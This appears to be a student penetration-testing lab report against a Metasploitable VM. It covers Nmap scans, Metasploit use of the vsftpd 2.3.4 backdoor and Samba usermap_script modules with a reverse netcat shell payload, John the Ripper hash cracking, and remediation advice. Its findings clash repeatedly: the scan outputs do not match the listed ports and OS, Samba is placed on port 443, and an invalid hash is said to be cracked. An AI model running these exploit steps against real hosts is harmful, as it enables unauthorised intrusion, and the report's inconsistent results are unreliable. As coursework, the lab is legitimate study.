⍰ Ethical Hacking Project

Scanning and Enumerating a Local Network with Nmap

Name: Md. Sahbaj
ERP: 6602412
Branch: Information Technology
Semester: 6th

Table of Contents

Project: Simulating Real-World Network Exploitation and Defense

Project Objectives:

To understand and apply techniques in:

- Network scanning
- Service enumeration
- Vulnerability exploitation
- Privilege escalation
- Password cracking
- Security remediation

⍰ Tools Used

- Kali Linux (Attacker Machine)
- Metasploitable (Target Machine)
- Nmap
- John the Ripper

 Task 1: Basic Network Scan

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-20 09:15 EDT
Initiating Ping Scan at 09:15
Scanning 256 hosts [4 ports/host]
Completed Ping Scan at 09:15, 19.76s elapsed (256 total hosts)
Initiating Parallel DNS resolution of 256 hosts. at 09:15
Completed Parallel DNS resolution of 256 hosts. at 09:15, 0.28s elapsed
Initiating SYN Stealth Scan at 09:15
Scanning 64 hosts [1000 ports/host]
Discovered open port 443/tcp on 192.168.202.28
Discovered open port 443/tcp on 192.168.202.37
Discovered open port 443/tcp on 192.168.202.46
Discovered open port 443/tcp on 192.168.202.51
Discovered open port 443/tcp on 192.168.202.57
Discovered open port 443/tcp on 192.168.202.60
Discovered open port 443/tcp on 192.168.202.63
Discovered open port 443/tcp on 192.168.202.1
Discovered open port 443/tcp on 192.168.202.2
Discovered open port 443/tcp on 192.168.202.3
Discovered open port 443/tcp on 192.168.202.4
Discovered open port 443/tcp on 192.168.202.5
Discovered open port 443/tcp on 192.168.202.6
Discovered open port 443/tcp on 192.168.202.7
Discovered open port 443/tcp on 192.168.202.8
Discovered open port 443/tcp on 192.168.202.9
Discovered open port 443/tcp on 192.168.202.10
Discovered open port 443/tcp on 192.168.202.13
Discovered open port 443/tcp on 192.168.202.16
Discovered open port 443/tcp on 192.168.202.17
Discovered open port 443/tcp on 192.168.202.18
Discovered open port 443/tcp on 192.168.202.19
Discovered open port 443/tcp on 192.168.202.20
Discovered open port 443/tcp on 192.168.202.23
Discovered open port 443/tcp on 192.168.202.24
Discovered open port 443/tcp on 192.168.202.29
Discovered open port 443/tcp on 192.168.202.32
Discovered open port 443/tcp on 192.168.202.35
Discovered open port 443/tcp on 192.168.202.25
Discovered open port 443/tcp on 192.168.202.26
Discovered open port 443/tcp on 192.168.202.33
Discovered open port 443/tcp on 192.168.202.34
Discovered open port 443/tcp on 192.168.202.38
Discovered open port 443/tcp on 192.168.202.41
Discovered open port 443/tcp on 192.168.202.42
Discovered open port 443/tcp on 192.168.202.43
```

Command: nmap -v 192.168.202.0/24

Targeted Output

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-20 09:24 EDT
Initiating Ping Scan at 09:24
Scanning 192.168.202.129 [4 ports]
Completed Ping Scan at 09:24, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:24
Completed Parallel DNS resolution of 1 host. at 09:24, 0.04s elapsed
Initiating SYN Stealth Scan at 09:24
Scanning 192.168.202.129 [1000 ports]
Discovered open port 80/tcp on 192.168.202.129
Discovered open port 443/tcp on 192.168.202.129
Completed SYN Stealth Scan at 09:24, 4.66s elapsed (1000 total ports)
Nmap scan report for 192.168.202.129
Host is up (0.012s latency).
Not shown: 997 filtered tcp ports (no-response), 1 filtered tcp ports (admin-prohibited)
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.90 seconds
           Raw packets sent: 2004 (88.152KB) | Rcvd: 7 (360B)
```

Command:nmap -vv 192.168.202.129

Task 2: Reconnaissance

Task 1: Scanning for hidden ports

Command: nmap -v -p- 192.168.202.129

```
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
41004/tcp open  unknown
47901/tcp open  unknown
51188/tcp open  unknown
53062/tcp open  unknown
MAC Address: 00:0C:29:9B:D8:B1 (VMware)
```

Type your text

Total Hidden Ports 7

8787/tcp
41004/tcp
47901/tcp
51188/tcp
53062/tcp
6105/tcp
5907/tcp

2.2 Service Version Detection

Command: nmap -v -sV 192.168.202.129

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-20 09:35 EDT
NSE: Loaded 47 scripts for scanning.
Initiating Ping Scan at 09:35
Scanning 192.168.202.129 [4 ports]
Completed Ping Scan at 09:35, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:35
Completed Parallel DNS resolution of 1 host. at 09:35, 0.04s elapsed
Initiating SYN Stealth Scan at 09:35
Scanning 192.168.202.129 [1000 ports]
Discovered open port 80/tcp on 192.168.202.129
Discovered open port 443/tcp on 192.168.202.129
Completed SYN Stealth Scan at 09:35, 4.68s elapsed (1000 total ports)
Initiating Service scan at 09:35
Scanning 2 services on 192.168.202.129
Completed Service scan at 09:35, 23.81s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.202.129.
Initiating NSE at 09:35
Completed NSE at 09:35, 1.14s elapsed
Initiating NSE at 09:35
Completed NSE at 09:35, 1.06s elapsed
Nmap scan report for 192.168.202.129
Host is up (0.019s latency).
Not shown: 997 filtered tcp ports (no-response), 1 filtered tcp ports (admin-prohibited)
PORT    STATE SERVICE    VERSION
80/tcp  open  http-proxy (bad gateway)
443/tcp open  ssl/https
```

Command: nmap -v -O 192.168.202.129

2.3 Operating System Detection

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-20 09:44 EDT
Initiating Ping Scan at 09:44
Scanning 192.168.202.129 [4 ports]
Completed Ping Scan at 09:44, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:44
Completed Parallel DNS resolution of 1 host. at 09:44, 0.05s elapsed
Initiating SYN Stealth Scan at 09:44
Scanning 192.168.202.129 [1000 ports]
Discovered open port 443/tcp on 192.168.202.129
Discovered open port 80/tcp on 192.168.202.129
Completed SYN Stealth Scan at 09:44, 5.21s elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.202.129
Retrying OS detection (try #2) against 192.168.202.129
Nmap scan report for 192.168.202.129
Host is up (0.021s latency).
Not shown: 997 filtered tcp ports (no-response), 1 filtered tcp ports (admin-prohibited)
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: phone|broadband router|proxy server
Running (JUST GUESSING): Google Android 7.X (91%), Linux 3.X (91%), OneAccess embedded (89%), Blue Coat embedded (85%)
OS CPE: cpe:/o:google:android:7.1.2 cpe:/o:linux:linux_kernel:3.10 cpe:/h:oneaccess:1641 cpe:/h:bluecoat:packetshaper
Aggressive OS guesses: Android 7.1.2 (Linux 3.10) (91%), OneAccess 1641 router (89%), Blue Coat PacketShaper appliance (85%)
No exact OS matches for host (test conditions non-ideal).
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/share/nmap
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.49 seconds
           Raw packets sent: 2096 (97.384KB) | Rcvd: 19 (968B)
```

 Task 3: Enumeration Summary

Target IP Address: 192.168.202.129

Operating System: Linux 2.6.9 - 2.6.33

MAC Address: 00:0C:29:9B:D8:B1 (VMware)

Device Type: General-purpose

Open Services (Excluding Hidden Ports)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1

Hidden Services

8787/tcp open drb Ruby DRb RMI

47436/tcp open mountd 1-3 (RPC #100005)

50918/tcp open java-rmi GNU Classpath grmiregistry

59995/tcp open nlockmgr 1-4 (RPC #100021)

60004/tcp open status 1 (RPC #100024)

 Task 4: Exploitation of Services

```
Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting i
t
with setg RHOSTS x.x.x.x

       =[ metasploit v6.4.56-dev                          ]
+ -- --=[ 2505 exploits - 1291 auxiliary - 431 post       ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ----                                   ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor   2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoo
r Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_23
4_backdoor

[*] Using exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.202.129
RHOSTS => 192.168.202.129
```

1.vsftpd 2.3.4: Exploited via known backdoor vulnerability.

```
[*] Using exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.202.129
RHOSTS => 192.168.202.129
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 192.168.202.129:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.202.129:21) timed out.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 21
RHOST => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] Msf::OptionValidateError The following options failed to validate:
[-] Invalid option RHOSTS: Host resolution failed: 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   21               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

2. smb 3.0.20-dbian (Port 443)

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
                                       s/using-metasploit.html
   RPORT    139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.26.113    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

 Task 5: Creating a Privileged User

Command:

adduser mdsahbaj

Password: sahbaj

/etc/passwd Entry:

mdsahbaj:x:1001:1001:mdsahbaj,,,:/home/mdsahbaj:/bin/bash

/etc/shadow Hash:

mdsahbaj:$0$7nWuasBV$pr6ZAFfqT9NcHv1pPX8Rj.

 Task 6: Cracking Password Hash

mdsahbaj:$0$7nWuasBV$pr6ZAFfqT9NcHv1pPX8Rj.

Stored Hash in `hashes.txt`:

Cracking Commands:

john hashes.txt

john hashes.txt --show

Cracked Password: sahbaj

 Task 7: Remediation and Recommendations

Identified Vulnerabilities & Fixes:

1. vsftpd 2.3.4 – vulnerable backdoor

   Fix: Upgrade to vsftpd 3.0.5

2. OpenSSH 4.7p1 – outdated, brute-forceable

   Fix: Upgrade to OpenSSH 9.6

3. Java RMI Service – allows remote execution

   Fix: Disable or firewall restrict access

 Major Learnings

- Applied Nmap for full-range scanning and OS detection.
- Understood enumeration and real-world exploitation techniques.
- Gained skills in privilege escalation and hash cracking.
- Learned how to evaluate vulnerabilities and apply proper remediation.

This project simulates a real world penetration test using open source tools and is inteded strictly for educational purposes.